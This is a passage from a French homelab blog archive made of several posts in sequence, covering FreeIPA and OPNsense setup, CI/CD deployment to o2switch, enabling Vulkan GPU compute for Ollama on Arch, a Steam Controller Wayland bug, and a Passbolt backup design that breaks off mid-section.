5. Le mot de passe du compte admin

6. Si des DNS forwarders doivent être configurés

   Dans mon cas oui, mes serveurs interne utiliseront freeipa pour résoudre des noms sur internet, donc il doit y en avoir

7. Si oui lesquels

8. Vérifier ce que vous avez mis et accepter l'installation

Une fois l'installation terminée, vous aurez une page web accessible en HTTPS sur l'IP

Si tout est fonctionnel, vous devriez arriver sur cette page une fois fait :

10.20.20.1 		freeipa.home.lan

Je consacrerai un autre article sur la configuration de cet outil ainsi que sur l'enrollement de serveurs au sein de FreeIPA. Jusque là, je vous dis à la prochaine !

Quoi de mieux pour commencer une infra que de commencer par le pare-feu. L'entité qui me servira pour tous les éléments réseaux de mon lab

Le firewall​

j'ai fais le choix de partir avec OpnSense. Plusieurs raisons ont porté mon choix. Notamment le fait que je me sois habitué à cet outil depuis un long moment et notament que c'est honnêtement une solution très simple à utiliser en GUI (avec la doc à côté certes).

D'autres solutions existent tel que PfSense (outil qui est forké par OpnSense), mais son interface graphique est honnêtement... vieillotte et très peu intuitive.

Il existe très probablement d'autres solutions que je ne connais pas, en tout cas dans le monde open source, je ne connais que celle-là.

Préparation​

Déjà, on ne part pas installer quelque chose sans savoir ce que l'on va faire, donc voici mon objectif :

Comme je le mentionne dans Les réseaux proxmox, les bridges Linux sont littéralement des switchs. Une fois qu'on leur donne le paramètre vlan aware, ils se comporte alors comme un switch managé. Donc chaque serveur pourra être dans son vlan, directement relié au pare-feu qui sera leur seule porte de sortie.

Installation​

déjà il vous faut récupérer l'ISO d'OpnSense : OpnSense - Download.

Une fois fait, il faut l'ajouter dans proxmox, créer une nouvelle VM avec cette ISO (mettre les bonnes interfaces réseau au passage) puis lancer sa VM.

Lors de l'installation, on vous demandera quelques éléments, notamment quelle interface est la WAN, la LAN etc... Puis une fois terminé, vous pourrez vous connecter.

Pour installer OpnSense sur votre machine, il faut vous connecter en console / SSH avec l'identifiant : installer et le mot de passe : opnsense. Vous devriez alors arriver dans un shell interactif vous demandant quoi installer, sur quel média, quelle IP etc.

Lorsque tout est terminé, vous pourrez vous connecter sur l'interface web de votre machine.

Et maintenant ?​

Actuellement j'ai une question que je ne m'étais jamais posée : est-ce que le mode vlan aware permet à l'interface de voir n'importe quel Vlan ou alors uniquement ceux créés dans proxmox ? je répondrais instinvtivement qu'elle voit tout Actuellement j'ai une seule interface reliée à mon pare-feu qui est en vlan aware. Est-ce que si je créé les vlan dans le pare-feu ils seront balancés dans le bridge et sur les machines qui y sont connecté ?

je me demande ça car ça conditionne s'il y a besoin de créer des vlan dans promxmox et de les ajouter en tant qu'interface dans le pare-feu ou alors si je peux tout créer dans OpnSense.

Concrètement, il n'y a pas 50 manières de vérifier.

Le test​

On créé le vlan et l'interface vlan afin de tester ça.

Si jamais pour créer une interface vlan il faut :

1. créer le vlan dans Interfaces > Devices > Vlan en choisissant son nom ainsi que l'interface sur laquelle il est (créer plusieurs vlan sur la même interface créé automatiquement un trunk)
2. Aller dans interfaces > assignments choisir son Vlan puis l'ajouter
3. Aller dans Interfaces > [le nom de votre vlan] et vous pourrez alors configurer votre vlan comme une interface à part entière

Pour ma part, je part sur un vlan 10 en 10.10.10.254.

D'un autre côté, je mets le bridge dans une VM linux avec le bon vlan et fait un magnifique ping 10.10.10.254.

Côté pare-feu, il faut également autoriser le ping, par défaut ça ne fonctionne pas.

Et ducoup théorie vérifiée : les vlan déclarés dans OpnSense passent bien dans un bridge vlan aware. Je m'en doutais un peu, mais j'ai pu le vérifier assez rapidement.

Maintenant, il ne me restera plus qu'à configurer les différentes interfaces vlan en fonction du besoin et des VM que je fais. Le pare-feu est près. J'y reviendrais très certainement dessus par la suite sur les différentes solutions que je compte mettre en place.

Mais je dois reconnaître qu'il me manque pas mal de chose lorsque j'ai besoin de tester des éléments concrets, que ça soit de l'authentification, des protocoles ou autre, très souvent on a besoin d'avoir une petite infra personnelle.

Ducoup voilà ce que je vais faire : une petite infra pour tester tout un tas de truc. Et je me servirais de ça dans de futurs articles afin d'avoir des éléments plus complets.

L'architecture du projet​

Objectifs du Home-Lab​

Ce lab a pour but de simuler un environnement de production miniature pour tout un tas de chose.

Aujourd'hui, je possède un vieu serveur DELL R620 avec 32Go de RAM, l'objectif n'est pas forcément de faire une infra complètement poussée, mais bon... Je vais utiliser ça pour les expériences que je ferais plus tard alors voilà l'objectif :

Architecture globale​

Schéma d’ensemble​

Comme j'ai pu l'expliquer dans un article précédent : Les réseaux proxmox, je vais pouvoir mettre tout ça en pratique, et notamment mettre des interfaces vlan dans mon OpnSense.

Donc voilà l'objectif, je vais petit à petit faire ça dans des articles à venir. Quelques mots tout de même sur tout ça.

Déjà, comme vous vous en doutez, tout est sous Linux, que ça soit l'authentification, la rétention des logs, leur analyse. Grosso modo, ce que je veux réaliser c'est une infra certes simples mais utilisant les bonnes pratiques de l'informatique.

On se redit dans pas si longtemps pour le début de tout ça, expliquer l'interraction de chaque serveurs / service dans un seul article serait trop complexe à écrire et à lire alors flemme.

Au bout d'un moment, j'en ai eu marre. Surtout que je sais qu'on est en 2026 et qu'il existe des moyens raisonnables d'automatiser ce genre de chose. Voici comment je m'y suis pris, avec les bugs sympas rencontrés au passage.

Le repérage​

Ma première idée a été l'outil Git Version Control intégré au cPanel d'o2switch. Sur le papier, ça paraît parfait : tu connectes ton dépôt GitHub, le serveur va chercher les nouvelles versions, ça déploie. Sauf qu'en pratique, il faut quand même cliquer manuellement sur "Update from Remote" puis "Deploy HEAD Commit" à chaque fois. On gagne sur le zip/dézip, mais on reste prisonnier de l'interface web. Pas terrible.

J'ai donc cherché plus loin et je suis tombé sur quelque chose que je n'attendais pas : o2switch utilise lui-même Docusaurus pour sa propre documentation, et leurs workflows GitHub Actions sont publics. Mieux : ils ont déployé récemment une API officielle pour gérer la whitelist SSH du firewall depuis l'extérieur, ce qui résout pile le problème que je redoutais.

C'est donc leur documentation officielle qui a fini par me permettre de terminer la mise en place de cette automatisation :

• o2switch doc - Déploiement ci/cd de docusaurus

Le vrai problème : le firewall​

Comme tous les hébergements mutualisés sérieux, o2switch bloque par défaut tout accès SSH. Pour s'y connecter, il faut autoriser son IP dans une liste blanche, limitée à 5 IPs simultanées. Mon IP perso à moi est stable, donc OK. Mais un runner GitHub Actions change d'IP à chaque exécution. Comment faire ?

L'API d'o2switch permet justement ça. À chaque démarrage du job, le runner :

1. Demande à un service externe quelle est son IP publique
2. Appelle l'API d'o2switch avec un token pour s'ajouter à la whitelist
3. Fait son boulot (le rsync vers le serveur)
4. S'auto-retire de la whitelist à la fin

C'est élégant, et c'est gratuit.

La construction​

L'architecture finale ressemble à ça :

git push → GitHub Actions → npm build → whitelist IP → rsync SSH → site en ligne

Le tout déclenché par un simple git push origin main. Je ne touche plus à rien. Pas de zip, pas de FileManager, pas d'antivirus. Et même mieux : je peux modifier un article directement dans l'interface web de GitHub depuis mon téléphone, ça redéploie tout seul.

Si vous voulez les détails techniques (workflow YAML complet, secrets à configurer, fichier .cpanel.yml non utilisé, etc.), j'ai écrit une documentation détaillée qui couvre la mise en place pas-à-pas.

Les chausse-trapes​

Évidemment, ce n'est jamais aussi lisse que prévu. Voici ce sur quoi j'ai bloqué.

L'outil "Autorisation SSH" buggé​

Quand j'ai voulu tester ma première connexion SSH manuelle depuis mon poste, j'ai passé pas mal de temps à comprendre pourquoi j'avais un timeout. Dans l'interface o2switch, l'outil "Autorisation SSH" propose un menu déroulant avec plusieurs ports (22, 8888, et d'autres). Naïvement, j'avais choisi 8888 en me disant que ce devait être un port plus "moderne" pour SSH.

Spoiler : seul le 22 fonctionne. Le menu propose des ports que le firewall ne route pas, c'est cassé. Et au passage, sur 8888 j'avais une règle créée uniquement en sortie, donc même en supposant que ça aurait pu marcher, ça n'aurait pas marché. J'ai perdu une bonne heure à comprendre, en l'occurrence en discutant avec Claude qui m'a sorti la doc officielle d'o2switch confirmant que seul le 22 est ouvrable.

La perte du .htaccess​

Premier déploiement automatique réussi. Champagne. Je vais voir le site... et j'ai une erreur. Le rsync --delete a fait son boulot un peu trop bien : il a supprimé mon .htaccess et tout le dossier .well-known/acme-challenge utilisé par Let's Encrypt pour renouveler mon certificat SSL.

Heureusement, mon .htaccess ne contenait rien de critique (juste une page 404 custom que j'avais oublié de garder). Mais ça aurait pu être beaucoup plus pénible. Solution : ajouter des --exclude dans la commande rsync pour préserver explicitement ces fichiers.

L'IP qui ne se retirait pas​

Dernier détail amusant : la commande pour retirer une IP de la whitelist ne fonctionnait pas, avec un message d'erreur sec : "Suppression impossible, l'autorisation n'existe pas". L'astuce, à peine documentée, est qu'il faut préciser la direction (in ou out) dans la requête. L'API accepte sans broncher quand on ajoute une règle, mais pour la retirer il faut être plus précis.

Le résultat​

Le workflow complet tourne en 2 à 3 minutes par déploiement. Pour comparaison, mon ancien zip/dézip me prenait entre 5 et 10 minutes selon l'humeur de l'antivirus. Et désormais je peux pousser une correction depuis n'importe où, depuis n'importe quel appareil, sans avoir à installer Node, sans avoir à me souvenir de la procédure.

C'est typiquement le genre de chose qu'on remet pendant des mois en se disant "ouais, faudra que je m'y mette". Et quand on s'y met enfin, on se demande pourquoi on a attendu si longtemps.

Si vous êtes chez o2switch et que vous gérez un site statique (Docusaurus, Hugo, Astro, peu importe), la procédure est transposable telle quelle. La doc technique couvre tout ce qu'il faut.

Le symptôme​

Au lancement d'ollama serve, les lignes intéressantes du log sont les suivantes :

inference compute" id=cpu library=cpu ... total="30.5 GiB" available="13.2 GiB"
"vram-based default context" total_vram="0 B" default_num_ctx=4096

Traduction : Ollama n'a découvert que la bibliothèque cpu, et annonce 0 octet de VRAM disponible. Il ne voit aucun GPU compatible compute, alors que côté graphique tout marche très bien (Wayland tourne, les jeux Vulkan se lancent, etc.). Ce divergence "le GPU rend de l'image mais Ollama ne le voit pas" est en fait un grand classique, et il faut comprendre pourquoi pour le résoudre proprement.

GPU : le rendu graphique et le calcul, ce sont deux mondes​

Quand un GPU est attaché à un système Linux, deux stacks logicielles complètement distinctes s'empilent au-dessus du même hardware :

Côté rendu graphique (ce qui affiche les pixels)

• Le module kernel amdgpu (le driver Linux open-source pour les GPU AMD modernes).
• Mesa, qui implémente OpenGL et Vulkan côté rendu (RADV pour Vulkan AMD, RadeonSI pour OpenGL).
• C'est ce qui fait tourner ton compositor, tes jeux, ton navigateur accéléré, etc.

Côté calcul (ce qui fait tourner un LLM ou un entraînement ML)

• Le même module kernel amdgpu (heureusement, il n'y en a qu'un).
• Mais une stack logicielle séparée pour le compute : ROCm/HIP (l'équivalent AMD de CUDA), ou bien Vulkan compute (l'API graphique détournée pour faire du calcul générique).

C'est crucial : avoir Mesa + RADV installés et fonctionnels (donc des jeux qui tournent) ne suffit pas pour qu'un soft comme Ollama, PyTorch ou llama.cpp puisse utiliser le GPU. Il faut en plus une stack compute, et c'est exactement ce qui me manquait.

ROCm ou Vulkan : choisir son backend​

Pour le compute AMD, deux options réelles existent aujourd'hui :

Mon GPU étant une Radeon RX 6800M (LLVM target gfx1031), il n'est pas dans la matrice officielle ROCm. La solution côté ROCm consisterait à le faire passer pour un gfx1030 (RX 6800/6900 desktop) via HSA_OVERRIDE_GFX_VERSION=10.3.0. Ça marche en pratique, mais c'est un hack documenté qu'il faut maintenir.

Côté Vulkan, j'ai déjà toute la stack installée pour le jeu (vulkan-radeon, vulkan-icd-loader). Aucun override à gérer. C'est la voie la plus simple, c'est celle que j'ai choisie.

Le piège du paquet Arch​

C'est LE point qui m'a fait perdre le plus de temps. Sur Arch, le dépôt extra propose plusieurs paquets construits depuis le même code source d'Ollama :

Cette séparation date d'octobre 2025, quand Ollama 0.12.6 a introduit le backend Vulkan upstream. Avant, il n'y avait que ollama + ollama-rocm + ollama-cuda.

Le piège, c'est que si tu fais un naïf sudo pacman -S ollama, tu récupères le binaire CPU-only. Et pire, ce binaire reconnaît quand même les variables d'environnement comme OLLAMA_VULKAN et ROCR_VISIBLE_DEVICES (le code Go les lit toujours pour configurer le runtime). Donc tu peux légitimement croire que tu as bien configuré ton environnement, voir les variables apparaître dans les logs… sans que rien ne se passe, parce que les bibliothèques compute ne sont pas linkées dans ce binaire.

C'est exactement ce qui m'arrivait :

OLLAMA_VULKAN:false           # même si j'exporte =1, ça reste false
ROCR_VISIBLE_DEVICES:         # paramètre lu mais inerte

La solution se résume à un seul changement de paquet :

sudo pacman -S ollama-vulkan

Pacman propose le remplacement automatique de ollama par ollama-vulkan (ils sont déclarés en conflit mutuel dans les PKGBUILDs). Les modèles déjà téléchargés dans /var/lib/ollama (ou ~/.ollama/models selon ton setup) ne sont pas touchés — c'est de la donnée, séparée du binaire.

La configuration via drop-in systemd​

Sur Arch, ollama s'installe avec une unité systemd, donc on lance le service via systemd plutôt qu'en ollama serve à la main. Pour ajouter des variables d'environnement à un service système, on n'édite pas l'unité d'origine (elle serait écrasée à chaque mise à jour du paquet). On utilise un drop-in :

sudo systemctl edit ollama.service

Cette commande ouvre un éditeur sur un fichier vide, qui sera enregistré sous /etc/systemd/system/ollama.service.d/override.conf. On y met :

[Service]
Environment="OLLAMA_VULKAN=1"

Puis on recharge et on redémarre :

sudo systemctl daemon-reload
sudo systemctl restart ollama.service

Le piège du dual-GPU​

Au redémarrage du service, les logs montrent enfin la détection GPU. Mais dans mon cas, deux devices apparaissent :

library=Vulkan name=Vulkan0 description="AMD Radeon RX 6800M (RADV NAVI22)"
    pci_id=0000:03:00.0 type=discrete total="12.0 GiB"

library=Vulkan name=Vulkan1 description="AMD Radeon 680M (RADV REMBRANDT)"
    pci_id=0000:37:00.0 type=iGPU total="15.8 GiB"

Le second device, c'est l'iGPU Radeon 680M intégré à mon Ryzen 6000. Et là il y a un piège majeur : Ollama additionne les deux mémoires (total_vram="27.8 GiB") et calcule un contexte par défaut généreux en supposant qu'il peut splitter un modèle sur les deux GPU. Sauf que :

• L'iGPU n'a pas de VRAM physique : ses "15.8 GiB" sont une fenêtre allouée dynamiquement sur la RAM système.
• La bande passante DDR5 dual-channel tourne autour de 85 Go/s, contre ~448 Go/s pour la GDDR6 de la dGPU.
• Splitter un modèle entre les deux fait que la dGPU attend systématiquement l'iGPU à chaque batch.

Bilan : un seul GPU lent peut diviser par 3 ou 4 la vitesse d'inférence du tandem. On veut donc forcer Ollama à n'utiliser que la dGPU.

La variable qui fait le filtrage côté Vulkan s'appelle GGML_VK_VISIBLE_DEVICES (sémantique identique à CUDA_VISIBLE_DEVICES côté NVIDIA) :

sudo systemctl edit ollama.service

[Service]
Environment="OLLAMA_VULKAN=1"
Environment="GGML_VK_VISIBLE_DEVICES=0"

Le 0 ici correspond à l'index Vulkan0 dans les logs, c'est-à-dire la dGPU. Pour les autres backends, les équivalents existent : ROCR_VISIBLE_DEVICES pour ROCm, CUDA_VISIBLE_DEVICES pour NVIDIA.

Vérification finale​

Après le restart, les logs doivent montrer :

inference compute id=00000000-0300-0000-0000-000000000000 library=Vulkan
    name=Vulkan0 description="AMD Radeon RX 6800M (RADV NAVI22)"
    total="12.0 GiB" available="11.X GiB"
"vram-based default context" total_vram="12.0 GiB" default_num_ctx=...

Une seule ligne inference compute, 12 GiB de VRAM annoncés, l'iGPU n'apparaît plus. À ce stade, en chargeant un modèle :

ollama ps

La colonne PROCESSOR doit afficher 100% GPU. Si ce n'est pas le cas (offloading partiel CPU/GPU), c'est que le modèle ne rentre pas en VRAM et qu'il faut envisager une quantization plus agressive ou un modèle plus petit.

Bonus : lire journalctl sans s'arracher les cheveux​

La ligne server config d'Ollama est large comme un boulevard (toute la map des variables d'env sur une seule ligne), ce qui rend la lecture pénible. Quelques options qui aident :

# Sortie sans préfixes timestamp + hostname + unité
journalctl -u ollama.service -o cat --no-pager

# Limiter au boot courant uniquement
journalctl -u ollama.service -b

# Suivre en temps réel
journalctl -u ollama.service -f

# Filtrer la ligne pénible
journalctl -u ollama.service -b --no-pager | grep -v 'server config'

# Combo confortable
journalctl -u ollama.service -b --no-hostname -o short-iso

Quelques rappels rapides sur les flags :

• -u <unit> : filtre sur une unité systemd précise.
• -b : --boot, ne montre que les logs du boot courant. -b -1 pour le boot précédent.
• -o <format> : format de sortie. cat enlève tous les préfixes, short-iso met un timestamp ISO compact.
• --no-pager : court-circuite less, utile pour piper la sortie.
• -f (follow) et -e (end) : équivalents de tail -f et tail -n sur les fichiers de log classiques.

Conclusion​

Ce qui m'a coûté le plus de temps n'était ni la commande à taper ni la conf à écrire — c'était de comprendre que le binaire ollama du dépôt Arch est CPU-only par design, et qu'il fallait spécifiquement choisir ollama-vulkan ou ollama-rocm. Les variables d'environnement comme OLLAMA_VULKAN=1 n'activent rien si le runtime correspondant n'est pas linké dans le binaire.

Au final, le diagnostic d'un "GPU non détecté" sous Linux passe par trois questions, dans cet ordre :

1. Le module kernel est-il chargé ? (lspci -k, vérifier Kernel driver in use: amdgpu ou équivalent NVIDIA)
2. La stack compute (Vulkan/ROCm/CUDA) est-elle installée et fonctionnelle ? (vulkaninfo --summary, rocminfo, nvidia-smi)
3. Le binaire de l'application est-il compilé avec ce backend ? (à vérifier paquet par paquet — c'est ici que le piège se cache souvent)

La couche 1 est rarement le problème sur du matériel moderne. La couche 2 est ce qu'on suspecte en premier mais souvent OK. La couche 3 est celle qu'on oublie, et qui m'a fait perdre une bonne soirée.

D'un côté je me dis heureusement que ce genre de journée ne m'arrive pas souvent, car elles ont beau être plus qu'instructives, elles n'en restent pas moin déplaisante lorsque la seule envie que j'avais était de revenir sur expédition 33.

Avant de commencer, une petite mise en bouche ne fait pas de mal : Github - issue #10442. Oui cette erreur date de 2024 et n'est toujours pas à ce jour corrigée...

Malgré ça, j'ai tout de même pu jouer avec, après beaucoup, beaucoup de mal.

Tout a commencé lorsque j'ai vu l'erreur s'afficher à mon écran. Ce magnifique pop-up qui me demande de faire un partage d'écran avec ma manette, après tout pourquoi pas ? tout irait bien si derrière chaque bouton de la manette ne se comportait pas comme un périphérique clavier/souris. Donc, comme tout utilisateur Linux, je me dis "Ça doit être une mise à jour" -> BOOOM - une mise à jour sauvage de 35Go apparaît (ça devait faire une bail que je n'avais pas mis à jour mon poste).

Et quelle fut ma surprise de découvrir au démarrage de mon poste que, je n'ai plus de bluetooth 🙂. Vous pourrez comprendre assez vite pourquoi j'ai voulu créer une nouvelle section dans ma documentation ici : Bastodoc - Debug. J'explique ici tout ce que j'ai appris, mais aussi tout le cheminement que j'ai parcouru pour finalement me dire "Bon... ça a vraiment l'air d'être un bug moyennement sympa".

Donc pour le moment, je n'ai plus de bluetooth, heureusement que j'ai ma super manette Steam qui utilise le PUC pour connecter en sans fil la manette (RIP ma pauvre manette Xbox que je n'utilisais qu'en bluetooth).

Ducoup, vu que je suis dans ma période explication, on fonce droit dedan :

Comment ton OS "voit" ta manette​

Quand tu branches une manette USB ou Bluetooth, elle ne parle pas un langage propre à elle-même. La quasi-totalité des périphériques d'input modernes utilisent un protocole standardisé : HID (Human Interface Device). C'est un protocole qui définit comment décrire les contrôles d'un périphérique (boutons, axes analogiques, accéléromètres, etc.) et comment transmettre leurs états via des rapports HID. Une souris USB envoie des rapports HID. Un clavier USB envoie des rapports HID. Une manette de jeu aussi.

Côté Linux, voici la chaîne qui se met en place :

Le driver usbhid (ou hid-generic) reçoit les rapports HID bruts, lit le descripteur envoyé par le périphérique au moment du branchement, et interprète ce que chaque rapport veut dire. Si le descripteur déclare "je suis une souris avec deux axes et trois boutons", le kernel expose un device souris. S'il déclare "je suis une manette avec deux sticks, dix boutons et un D-pad", le kernel expose une manette.

Tous les events parviennent ensuite aux applications via les fichiers spéciaux dans /dev/input/. L'API moderne s'appelle evdev (event device) et c'est elle que toutes les applications sérieuses utilisent : Wayland, X11, SDL, libinput, et donc Steam. Il existe aussi une vieille API joystick (/dev/input/js*) gardée pour la compatibilité, mais elle est dépréciée.

Le cas particulier de la Steam Controller​

Là où ça devient intéressant — et où l'origine du bug se cache — c'est que la Steam Controller est un périphérique bimodal. Ses descripteurs HID déclarent au kernel : "je suis un clavier et une souris". Pas une manette. Quand tu la branches en l'absence de Steam, le kernel la voit comme un combo K/M, et chaque interaction avec la manette produit donc des événements clavier ou souris.

C'est volontaire, et c'est même intelligent : ça permet à la manette de fonctionner sans logiciel sur n'importe quelle machine, pour naviguer dans un menu Steam ou un jeu non-Steam, sans avoir besoin d'un driver spécial. C'est le fameux mode "lizard" (Valve l'appelle comme ça en interne).

Quand Steam tourne, il prend la main différemment. Au lieu de laisser le kernel interpréter les rapports HID, Steam ouvre un accès direct au périphérique HID (via /dev/hidraw*, qui contourne l'interprétation evdev), parle son propre protocole avec la puce de la manette, et reçoit des données beaucoup plus riches : positions des trackpads, accéléromètre, force des trigger analogiques, etc.

Steam crée ensuite en parallèle un périphérique virtuel côté kernel, via une interface qui s'appelle uinput (user input). Uinput permet à un programme userspace de simuler un périphérique d'input comme s'il était physiquement branché — il apparaît dans /dev/input/, génère des events evdev, et les applications le voient comme n'importe quel autre périphérique.

C'est ça, la magie de Steam Input : il fait croire à n'importe quel jeu (même un vieux jeu DirectInput) qu'il est connecté à une manette Xbox standard, alors que physiquement tu peux avoir une Steam Controller, une DualSense, une manette générique chinoise, ou même un clavier mappé via la fonction "configuration manette" de Steam.

Les templates dont parlent les forums sont les profils de mapping : "le bouton physique A → l'input virtuel A", ou plus créatif, "le trackpad droit → la souris dans l'OS", etc.

La race condition qui produit le bug​

Maintenant le bug : sur Wayland, quand Steam veut envoyer des inputs synthétiques à d'autres fenêtres — ce qu'il fait pour son overlay, pour ses raccourcis clavier globaux, et pour injecter les inputs de la Steam Controller dans les jeux — il se heurte à un mur architectural.

Sur X11, n'importe quelle application pouvait faire XGrabKeyboard() ou XSendEvent() pour intercepter ou injecter des événements globalement. C'était puissant mais aussi dangereux pour la sécurité (un keylogger pouvait s'installer sans aucun privilège). Wayland a fait un choix radical de sécurité : chaque application ne voit que ses propres événements, et ne peut pas injecter dans les autres.

Pour les usages légitimes (logiciels d'accessibilité, automation, contrôle à distance, et donc aussi Steam), Wayland passe par xdg-desktop-portal. C'est une couche d'API standardisée, conçue à la base pour les applications Flatpak, qui sert d'intermédiaire entre l'app et le compositeur Wayland. Quand une app veut faire quelque chose de sensible (capturer l'écran, accéder à la webcam, injecter des inputs), elle demande à xdg-desktop-portal, qui affiche une boîte de dialogue de consentement à l'utilisateur, et seulement si l'utilisateur accepte, le compositeur autorise l'action.

L'interface du portal qui couvre l'injection d'inputs s'appelle RemoteDesktop, et son nom est trompeur : techniquement, "injecter des inputs dans d'autres fenêtres" et "permettre un contrôle à distance" sont la même primitive système. Du coup, quand Steam demande l'accès à cette interface, le portal affiche la fameuse pop-up "Une application veut partager votre écran et contrôler votre souris/clavier". C'est techniquement honnête mais visuellement effrayant pour le contexte "je viens juste de brancher une manette".

Et le bug #10442 vient du fait que Steam :

1. Détecte la connexion de la Steam Controller.
2. Envoie immédiatement la requête à xdg-desktop-portal pour la permission RemoteDesktop.
3. Pendant ce temps, la manette est toujours en mode "lizard" (le kernel l'interprète comme K/M).
4. Chaque pression de bouton produit donc des événements clavier/souris qui se propagent dans la fenêtre active — y compris la pop-up de demande de consentement, ce qui peut la valider involontairement, et plus généralement dans tout ce qui se trouve sous le pointeur.
5. Idéalement, Steam devrait d'abord prendre le contrôle exclusif du périphérique via hidraw (passer la manette en mode "Steam Input natif") avant de demander le portal. Mais l'ordre actuel des opérations dans Steam fait l'inverse.

C'est une race condition au sens classique du terme : le bug n'existe pas dans le code de l'un ou de l'autre composant pris isolément, il vit dans l'ordonnancement des deux opérations. Et c'est exactement le genre de bug que Valve a du mal à corriger parce qu'il dépend du compositeur Wayland utilisé, de la version du portal, de la rapidité de la machine à afficher la pop-up, etc. Sur des configurations rapides, certains utilisateurs n'ont pas le bug ; sur des configurations plus lentes ou avec un compositeur particulier, il est systématique.

Pour ma part, après certains redémarrage, je n'ai aucun souci, mais alors vraiment aucun. Et à d'autres moments tout plance. Maintenant place à la solution

La solution​

Premièrement, on allume Steam on lance son meilleur jeux et on essaie d'utiliser sa manette. C'est avec un air particulièrement contrarié que l'on découvre ce misérable pop-up qui rend notre vie si difficile.

Toujours pendant que vous êtes en jeu, allez sur Steam dans la page du jeu de votre bibliothèque, vous devriez avoir sur la droite un paramètre Voir les paramètres de la manette ou quelque chose comme ça.

Dans ce menu, il faut impérativement que tous les inputs de la manette soient des boutons utilisable en jeux. Certains preset de la communauté permettent déjà ça. Pour mon cas, si un seul endroit était marqué comme souris, je pop-up revenait de manière incessante.

Une fois fait, de retour dans votre jeux, vous devriez être plus calme posé car ce pop-up n'apparaît plus.

Dans cet article, je détaille la solution que j'ai mise en place sur mon homelab : un Passbolt en Docker derrière Nginx Proxy Manager, avec une sauvegarde quotidienne automatisée vers un Nextcloud, le tout chiffré et orchestré par systemd. Je vais expliquer non seulement le quoi, mais surtout le pourquoi de chaque choix, parce que c'est là que se cache l'intérêt de l'exercice.

Contexte et objectifs​

Mon environnement​

Avant de rentrer dans le dur, posons le décor. Mon homelab tourne autour de :

• Un serveur Docker (docker01.homelab.local, 10.1.2.10) sous Debian 12, qui héberge la majorité de mes services.
• Un Nextcloud (10.1.2.67) qui me sert de stockage centralisé pour mes fichiers et, désormais, mes backups Passbolt.
• Un Nginx Proxy Manager (NPM) en frontal, qui termine le TLS et fait du reverse proxy vers tous mes services internes.
• Un DNS interne qui résout *.homelab.local vers mes IPs privées.

Tout le réseau est en 10.1.2.0/24 derrière un firewall, donc rien n'est exposé directement sur Internet.

Ce que je veux obtenir​

L'idée n'est pas juste « ça marche », mais « ça marche, et le jour où ça pète, je sais quoi faire et je n'ai rien perdu ».

Architecture globale​

Voici la vue d'ensemble de la stack :

Trois grandes briques :

1. Passbolt en Docker, derrière NPM, sur un réseau Docker isolé.
2. Un conteneur de sauvegarde dédié, éphémère (one-shot), qui parle à Passbolt en interne et exporte vers Nextcloud.
3. systemd comme orchestrateur, parce que cron c'est bien en 1998 mais on est en 2026.

Les choix techniques expliqués​

Pourquoi Docker ?​

Passbolt fournit officiellement une image Docker. C'est isolé du reste du système, facile à upgrader (docker compose pull && docker compose up -d), et ça me permet de reproduire l'env à l'identique si je dois changer de serveur. La base MariaDB est dans son propre container, lié uniquement à Passbolt.

Pourquoi un réseau Docker dédié (proxy-net) ?​

C'est un point que je veux détailler parce qu'il est central pour la sécurité.

Par défaut, Docker crée un réseau bridge partagé par tous les containers qui ne précisent rien. C'est pratique pour démarrer, mais ça veut dire que tous tes containers se voient les uns les autres. Si demain un container compromis se met à scanner le réseau, il accède directement à Passbolt.

L'approche que j'utilise :

Concrètement :

• proxy-net : un réseau Docker dédié que partagent NPM et tous les services qu'il reverse-proxy. Seul NPM publie des ports sur l'hôte (80, 443, 81). Passbolt n'expose aucun port.
• passbolt-internal : un second réseau, uniquement entre Passbolt et sa base MariaDB. La DB n'est ainsi joignable que par Passbolt, point.

Le résultat : pour atteindre Passbolt depuis l'extérieur, on passe forcément par NPM. Et pour atteindre la base, on passe forcément par Passbolt. C'est le principe de défense en profondeur appliqué au réseau.

Création du réseau côté NPM :

docker network create proxy-net

Et dans le docker-compose.yml de Passbolt :

services:
  passbolt:
    # ... image, env, etc.
    networks:
      - proxy-net
      - passbolt-internal
    # PAS de ports: ici !

  db:
    image: mariadb:11
    networks:
      - passbolt-internal
    # PAS non plus de ports: ici

networks:
  proxy-net:
    external: true   # créé en dehors du compose, partagé avec NPM
  passbolt-internal:
    driver: bridge
    internal: true   # 👈 ce réseau n'a pas accès à Internet

Le internal: true sur passbolt-internal : MariaDB n'a même pas accès à Internet. Si elle est compromise, elle ne peut pas exfiltrer de données sortantes.

Pourquoi go-passbolt-cli et le format KDBX ?​

Pour l'export, j'avais plusieurs options : sauvegarder le volume MariaDB brut, utiliser mysqldump, ou exporter via l'API Passbolt. J'ai choisi la troisième pour plusieurs raisons :

1. Lisibilité hors-Passbolt : un dump MariaDB ne sert à rien si Passbolt est mort. Les mots de passe y sont chiffrés avec les clés PGP des utilisateurs. Sans Passbolt et ses clés serveur, c'est illisible.
2. Le KDBX est un format ouvert et standard : KeePass, KeePassXC, KeePassDX (Android)... n'importe quel outil sait l'ouvrir.
3. go-passbolt-cli est l'outil officiel maintenu par Passbolt SA. Il s'authentifie via la clé PGP d'un compte de service, télécharge toutes les ressources accessibles à ce compte, les déchiffre localement, et écrit un KDBX.

Le KDBX produit est protégé par un mot de passe différent de celui de Passbolt — j'y reviens dans la section sécurité, c'est important.

Pourquoi rsync over SSH ?​

J'ai hésité avec WebDAV (Nextcloud le supporte nativement), mais :

• rsync est incrémental, gère bien les coupures réseau, et est trivial à scripter.
• SSH me donne un contrôle fin sur ce que la clé peut faire (ForceCommand, rrsync, etc. — voir la section sécurité).
• Pas besoin de gérer un token applicatif Nextcloud qui peut être révoqué silencieusement.

Pourquoi systemd-timer plutôt que cron ?​

Après avoir fait l'expérience de plusieurs panne pénible à corriger, j'avoue avoir un avis particulièrement tranché sur la question :

Un job critique mérite un orchestrateur qui sait dire « j'ai échoué » plutôt qu'un fichier MAILTO= qu'on ne lit jamais.

Pourquoi Nextcloud comme destination ?​

Parce que j'en ai déjà un qui tourne, qu'il est sauvegardé séparément (snapshots ZFS + offsite), et que ça me donne une interface web pour récupérer un backup en cas d'urgence — y compris depuis mon téléphone si jamais le homelab est inaccessible.

Vu que de manière générale Nextcloud synchronise les fichiers en local, cela permet vraiment de garder son coffre de mot de passe en local en cas de panne majeure. C'est à la fois l'avantage de passbolt et son meilleur défaut : il vit sur un serveur sur le réseau. Si un problème arrive entre nous et le serveur, plus de mot de passe...

Mise en place du conteneur de sauvegarde​

Arborescence​

Tout vit dans /opt/docker/passbolt-backup/ :

/opt/docker/passbolt-backup/
├── build/
│   ├── Dockerfile          # construction de l'image
│   └── run.sh              # script d'orchestration (bind-monté)
